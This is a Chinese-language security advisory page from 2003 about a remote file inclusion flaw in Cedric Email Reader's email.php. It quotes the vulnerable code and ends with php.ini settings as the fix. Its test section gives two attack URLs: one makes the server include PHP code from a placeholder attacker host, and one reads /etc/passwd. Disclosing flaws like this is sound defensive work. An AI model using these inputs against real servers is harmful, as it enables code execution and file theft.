xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Cedric邮件阅读器皮肤配置脚本存在远程文件包含漏洞


发布时间:2003-02-09
更新时间:2003-02-10
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:6818

受影响系统
ISOCA Cedric Email Reader 0.2
ISOCA Cedric Email Reader 0.3
详细描述
Cedric Email Reader是一款由PHP编写的基于WEB的邮件客户端。

    Cedric邮件阅读器中的脚本email.php中,可以让攻击者在该文件包含远程恶意文件。在某些环境下,远程攻击者可以在配置文件包含一个路径指向远程服务器上的文件,如果这个远程文件是恶意的PHP脚本,那么就可以在WEB服务的权限执行系统命令。

Cedric Email Reader包含的email.php3脚本对用户提交的输入缺少正确检查,远程攻击者可以利用这个漏洞包含恶意PHP文件,以WEB进程权限执行PHP文件中的任意命令。

email.php3(版本0.2)或email.php(版本0.3)包含如下代码:

---------------------------------
[...]
require('emailreader.ini');
if ($login > "") {
parse_str($param);
include($cer_skin);
include('email.inc');
$mbox = openimap($server, $username, $password);
$text = htmlspecialchars(get_part($mbox,$msgid, "TEXT/PLAIN"));
[...]
---------------------------------

由于对$cer_skin变量没有预先定义,因此可以通过全局注入来进行变量定义,攻击者可以指定远程系统中的PHP文件作为参数提交给$cer_skin变量,可导致以WEB权限执行PHP文件中包含的恶意代码。

测试代码
MGh (magas@mail.lt)提供了如下测试方法:

http://[target]/email.php?login=attacker&cer_skin=http://attacker]/code.php

包含远程机器上PHP文件。

或包含本地机器上的文件:

http://[target]/email.php?login=attacker&cer_skin=/etc/passwd

解决方案
编辑php.ini文件,设置'allow_url_fopen'和'register_globals'选项为'off'。

相关信息
相关连接:

http://www.isoca.com/creation/webmail/index_en.php